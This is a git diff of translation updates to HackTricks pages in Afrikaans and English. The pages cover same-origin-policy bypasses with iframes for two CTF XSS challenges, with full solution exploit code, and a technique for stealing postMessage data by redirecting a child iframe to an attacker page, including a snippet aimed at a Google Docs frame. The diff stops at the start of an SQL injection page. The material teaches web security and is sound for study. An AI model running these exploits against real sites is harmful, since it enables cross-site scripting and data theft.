<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy adverteer in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks aflaai in PDF-formaat**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die [hacktricks repo](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Iframes in SOP-1
|
||||
|
||||
In hierdie [**uitdaging**](https://github.com/terjanq/same-origin-xss) wat deur [**NDevTK**](https://github.com/NDevTK) en [**Terjanq**](https://github.com/terjanq) geskep is, moet jy 'n XSS uitbuiting in die gekodeerde
|
||||
In hierdie [**uitdaging**](https://github.com/terjanq/same-origin-xss) geskep deur [**NDevTK**](https://github.com/NDevTK) en [**Terjanq**](https://github.com/terjanq) moet jy 'n XSS in die gekodeerde
|
||||
```javascript
|
||||
const identifier = '4a600cd2d4f9aa1cfb5aa786';
|
||||
onmessage = e => {
|
||||
|
@ -25,26 +28,26 @@ renderContainer.innerHTML = data.body;
|
|||
}
|
||||
}
|
||||
```
|
||||
Die hoofprobleem is dat die [**hoofbladsy**](https://so-xss.terjanq.me) DomPurify gebruik om die `data.body` te stuur, sodat jy jou eie html-data na daardie kode kan stuur, moet jy `e.origin !== window.origin` **omseil**.
|
||||
Die hoofprobleem is dat die [**hoofblad**](https://so-xss.terjanq.me) DomPurify gebruik om die `data.body` te stuur, so om jou eie html data na daardie kode te stuur, moet jy **bypass** `e.origin !== window.origin`.
|
||||
|
||||
Kom ons kyk na die oplossing wat hulle voorstel.
|
||||
|
||||
### SOP-omseiling 1 (e.origin === null)
|
||||
### SOP bypass 1 (e.origin === null)
|
||||
|
||||
Wanneer `//example.org` in 'n **sandboxed iframe** ingebed word, sal die bladsy se **oorsprong** **`null`** wees, m.a.w. **`window.origin === null`**. Deur die iframe in te sluit deur middel van `<iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php">` kan ons dus die **`null` oorsprong** afdwing.
|
||||
Wanneer `//example.org` in 'n **sandboxed iframe** ingebed is, sal die bladsy se **origin** **`null`** wees, d.w.s. **`window.origin === null`**. So net deur die iframe in te bed via `<iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php">` kan ons die **`null` origin** **force**.
|
||||
|
||||
As die bladsy **ingebed** kon word, kon jy daardie beskerming op hierdie manier omseil (koekies moet moontlik ook op `SameSite=None` gestel word).
|
||||
As die bladsy **ingebed kan word**, kan jy daardie beskerming op daardie manier omseil (koekies moet dalk ook op `SameSite=None` gestel word).
|
||||
|
||||
### SOP-omseiling 2 (window.origin === null)
|
||||
### SOP bypass 2 (window.origin === null)
|
||||
|
||||
Die minder bekende feit is dat wanneer die **sandbox-waarde `allow-popups` ingestel is**, die **geopen popup** al die **sandbox-attribuute** sal **oorneem**, tensy `allow-popups-to-escape-sandbox` ingestel is.\
|
||||
Dus, as 'n **popup** van 'n **null oorsprong** geopen word, sal **`window.origin`** binne die popup ook **`null`** wees.
|
||||
Die minder bekende feit is dat wanneer die **sandbox waarde `allow-popups` gestel is**, die **geopende popup** al die **sandboxed attributes** sal **erf** tensy `allow-popups-to-escape-sandbox` gestel is.\
|
||||
So, om 'n **popup** van 'n **null origin** te open, sal **`window.origin`** binne die popup ook **`null`** wees.
|
||||
|
||||
### Uitdagingoplossing
|
||||
### Uitdaging Oplossing
|
||||
|
||||
Daarom kan jy vir hierdie uitdaging 'n **iframe skep**, 'n **popup oopmaak** na die bladsy met die kwesbare XSS-kodehanterer (`/iframe.php`), omdat beide `window.origin === e.origin` is omdat beide `null` is, is dit moontlik om 'n lading te stuur wat die XSS sal uitbuit.
|
||||
Daarom, vir hierdie uitdaging, kan 'n mens 'n **iframe** **skep**, 'n **popup** na die bladsy met die kwesbare XSS kodehandler (`/iframe.php`) **open**, aangesien `window.origin === e.origin` omdat albei `null` is, is dit moontlik om 'n **payload te stuur wat die XSS sal benut**.
|
||||
|
||||
Daardie **lading** sal die **identifiseerder** kry en 'n **XSS** terugstuur na die bo-bladsy (die bladsy wat die popup oopmaak), **wat** die **plek sal verander** na die **kwesbare** `/iframe.php`. Omdat die identifiseerder bekend is, maak dit nie saak dat die voorwaarde `window.origin === e.origin` nie bevredig word (onthou, die oorsprong is die **popup** van die iframe wat **oorsprong** **`null`** het) omdat `data.identifier === identifier`. Dan sal die **XSS weer geaktiveer word**, hierdie keer in die korrekte oorsprong.
|
||||
Daardie **payload** sal die **identifier** kry en 'n **XSS** dit **terug na die boonste bladsy** stuur (die bladsy wat die popup geopen het), **wat** die **ligging** na die **kwesbare** `/iframe.php` sal **verander**. Omdat die identifier bekend is, maak dit nie saak dat die voorwaarde `window.origin === e.origin` nie nagekom word nie (onthou, die origin is die **popup** van die iframe wat **origin** **`null`** het) omdat `data.identifier === identifier`. Dan, die **XSS sal weer aktiveer**, hierdie keer in die korrekte origin.
|
||||
```html
|
||||
<body>
|
||||
<script>
|
||||
|
@ -79,14 +82,17 @@ document.body.appendChild(f);
|
|||
</script>
|
||||
</body>
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks af in PDF-formaat**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die [hacktricks repo](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,32 +1,35 @@
|
|||
# Om SOP te omseil met Iframes - 2
|
||||
# Bypassing SOP with Iframes - 2
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy adverteer in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks aflaai in PDF-formaat**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die [hacktricks repo](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Iframes in SOP-2
|
||||
|
||||
In die [**oplossing**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/obligatory-calc/solution) vir hierdie [**uitdaging**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/obligatory-calc)**,** stel [**@Strellic\_**](https://twitter.com/Strellic\_) 'n soortgelyke metode voor as in die vorige afdeling. Kom ons kyk daarna.
|
||||
In die [**oplossing**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/obligatory-calc/solution) vir hierdie [**uitdaging**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/obligatory-calc)**,** [**@Strellic\_**](https://twitter.com/Strellic\_) stel 'n soortgelyke metode voor soos in die vorige afdeling. Kom ons kyk daarna.
|
||||
|
||||
In hierdie uitdaging moet die aanvaller hierdie **omseiling**:
|
||||
In hierdie uitdaging moet die aanvaller **bypass** hierdie:
|
||||
```javascript
|
||||
if (e.source == window.calc.contentWindow && e.data.token == window.token) {
|
||||
```
|
||||
As hy dit doen, kan hy 'n **postmessage** stuur met HTML-inhoud wat in die bladsy geskryf gaan word met **`innerHTML`** sonder sanitasie (**XSS**).
|
||||
As hy dit doen, kan hy 'n **postmessage** met HTML-inhoud stuur wat in die bladsy geskryf gaan word met **`innerHTML`** sonder sanitasie (**XSS**).
|
||||
|
||||
Die manier om die **eerste toets** te omseil, is deur **`window.calc.contentWindow`** na **`undefined`** te maak en **`e.source`** na **`null`**:
|
||||
Die manier om die **eerste kontrole** te omseil, is deur **`window.calc.contentWindow`** **`undefined`** te maak en **`e.source`** **`null`** te maak:
|
||||
|
||||
* **`window.calc.contentWindow`** is eintlik **`document.getElementById("calc")`**. Jy kan **`document.getElementById`** oorskryf met **`<img name=getElementById />`** (let daarop dat die Sanitizer API -[hier](https://wicg.github.io/sanitizer-api/#dom-clobbering)- nie ingestel is om teen DOM-oorskrywingsaanvalle te beskerm in sy verstektoestand nie).
|
||||
* Daarom kan jy **`document.getElementById("calc")`** oorskryf met **`<img name=getElementById /><div id=calc></div>`**. Dan sal **`window.calc`** **`undefined`** wees.
|
||||
* Nou moet ons hê dat **`e.source`** **`undefined`** of **`null`** is (omdat `==` gebruik word in plaas van `===`, is **`null == undefined`** **`True`**). Dit is "maklik" om te kry. As jy 'n **iframe** skep en 'n **postMessage** daarvan stuur en onmiddellik die iframe **verwyder**, sal **`e.origin`** **`null`** wees. Kyk na die volgende kode
|
||||
* **`window.calc.contentWindow`** is eintlik **`document.getElementById("calc")`**. Jy kan **`document.getElementById`** oorheers met **`<img name=getElementById />`** (let op dat die Sanitizer API -[hier](https://wicg.github.io/sanitizer-api/#dom-clobbering)- nie geconfigureer is om teen DOM oorheersing aanvalle in sy standaardtoestand te beskerm nie).
|
||||
* Daarom kan jy **`document.getElementById("calc")`** oorheers met **`<img name=getElementById /><div id=calc></div>`**. Dan sal **`window.calc`** **`undefined`** wees.
|
||||
* Nou moet ons hê dat **`e.source`** **`undefined`** of **`null`** moet wees (want `==` word gebruik in plaas van `===`, **`null == undefined`** is **`True`**). Om dit te kry, is "maklik". As jy 'n **iframe** skep en 'n **postMessage** daaruit stuur en onmiddellik die iframe **verwyder**, sal **`e.origin`** **`null`** wees. Kontroleer die volgende kode.
|
||||
```javascript
|
||||
let iframe = document.createElement('iframe');
|
||||
document.body.appendChild(iframe);
|
||||
|
@ -35,12 +38,12 @@ await new Promise(r => setTimeout(r, 2000)); // wait for page to load
|
|||
iframe.contentWindow.eval(`window.parent.target.postMessage("A", "*")`);
|
||||
document.body.removeChild(iframe); //e.origin === null
|
||||
```
|
||||
Om die **tweede kontrole** oor die token te omseil, stuur jy die **`token`** met die waarde `null` en maak die waarde van **`window.token`** **`undefined`**:
|
||||
Om die **tweede kontrole** oor die token te omseil, stuur **`token`** met die waarde `null` en maak **`window.token`** se waarde **`undefined`**:
|
||||
|
||||
* Dit is maklik om die `token` in die postMessage te stuur met die waarde `null`.
|
||||
* **`window.token`** word geroep deur die funksie **`getCookie`** wat **`document.cookie`** gebruik. Let daarop dat enige toegang tot **`document.cookie`** in **`null`** oorsprong bladsye 'n **fout** veroorsaak. Dit sal veroorsaak dat **`window.token`** die waarde **`undefined`** het.
|
||||
* Om `token` in die postMessage met die waarde `null` te stuur, is trivial.
|
||||
* **`window.token`** in die oproep van die funksie **`getCookie`** wat **`document.cookie`** gebruik. Let daarop dat enige toegang tot **`document.cookie`** in **`null`** oorsprong bladsye 'n **fout** veroorsaak. Dit sal maak dat **`window.token`** die **`undefined`** waarde het.
|
||||
|
||||
Die finale oplossing deur [**@terjanq**](https://twitter.com/terjanq) is as volg: [**hier**](https://gist.github.com/terjanq/0bc49a8ef52b0e896fca1ceb6ca6b00e#file-calc-html).
|
||||
Die finale oplossing deur [**@terjanq**](https://twitter.com/terjanq) is die [**volgende**](https://gist.github.com/terjanq/0bc49a8ef52b0e896fca1ceb6ca6b00e#file-calc-html):
|
||||
```html
|
||||
<html>
|
||||
<body>
|
||||
|
@ -76,14 +79,17 @@ setTimeout(start, 1000);
|
|||
</body>
|
||||
</html>
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks af in PDF-formaat**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die [hacktricks repo](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,24 +1,27 @@
|
|||
# Steel postmessage deur die wysiging van die iframe-posisie
|
||||
# Steal postmessage modifying iframe location
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy adverteer in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks in PDF af**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die [hacktricks repo](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Verandering van kind-iframe-posisies
|
||||
## Changing child iframes locations
|
||||
|
||||
Volgens [**hierdie uiteensetting**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/), as jy 'n webbladsy kan iframe sonder 'n X-Frame-Header wat 'n ander iframe bevat, kan jy **die posisie van daardie kind-iframe verander**.
|
||||
Volgens [**hierdie skrywe**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/), as jy 'n webblad kan iframe sonder 'n X-Frame-Header wat 'n ander iframe bevat, kan jy **die ligging van daardie kind iframe verander**.
|
||||
|
||||
Byvoorbeeld, as abc.com efg.com as 'n iframe het en abc.com nie 'n X-Frame-header het nie, kan ek die efg.com na evil.com oor oorsprong verander deur gebruik te maak van **`frames.location`**.
|
||||
Byvoorbeeld, as abc.com efg.com as iframe het en abc.com nie 'n X-Frame-header het nie, kan ek die efg.com na evil.com kruis oorsprong verander met **`frames.location`**.
|
||||
|
||||
Dit is veral nuttig in **postMessages**, want as 'n bladsy sensitiewe data stuur deur 'n **wildcard** soos `windowRef.postmessage("","*")`, is dit moontlik om **die posisie van die betrokke iframe (kind of ouer) na 'n aanvaller se beheerde posisie te verander** en daardie data te steel.
|
||||
Dit is veral nuttig in **postMessages** omdat as 'n bladsy sensitiewe data stuur met 'n **wildcard** soos `windowRef.postmessage("","*")`, dit moontlik is om **die ligging van die verwante iframe (kind of ouer) na 'n aanvaller se beheerde ligging te verander** en daardie data te steel.
|
||||
```html
|
||||
<html>
|
||||
<iframe src="https://docs.google.com/document/ID" />
|
||||
|
@ -35,14 +38,17 @@ window.frames[0].frame[0][2].location="https://geekycat.in/exploit.html";
|
|||
</script>
|
||||
</html>
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks in PDF af**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die [hacktricks repo](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,31 +1,34 @@
|
|||
# SQL Injeksie
|
||||
# SQL Injection
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy adverteer in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks af in PDF-formaat**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die [hacktricks repo](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com/) is die mees relevante cybersecurity-gebeurtenis in **Spanje** en een van die belangrikste in **Europa**. Met **die missie om tegniese kennis te bevorder**, is hierdie kongres 'n kookpunt vir tegnologie- en cybersecurity-professionals in elke dissipline.
|
||||
[**RootedCON**](https://www.rootedcon.com/) is die mees relevante kuberveiligheid gebeurtenis in **Spanje** en een van die belangrikste in **Europa**. Met **die missie om tegniese kennis te bevorder**, is hierdie kongres 'n bruisende ontmoetingspunt vir tegnologie en kuberveiligheid professionele in elke dissipline.
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
## Wat is SQL-injeksie?
|
||||
## Wat is SQL-inspuiting?
|
||||
|
||||
'n **SQL-injeksie** is 'n sekuriteitsgebrek wat aanvallers in staat stel om **databasisnavrae te versteur** van 'n toepassing. Hierdie kwesbaarheid kan aanvallers in staat stel om data te **sien**, **verander** of **verwyder** waarop hulle nie toegang behoort te hê nie, insluitend inligting van ander gebruikers of enige data waartoe die toepassing toegang kan verkry. Sulke aksies kan lei tot permanente veranderinge aan die funksionaliteit of inhoud van die toepassing, of selfs die kompromittering van die bediener of ontkenning van diens.
|
||||
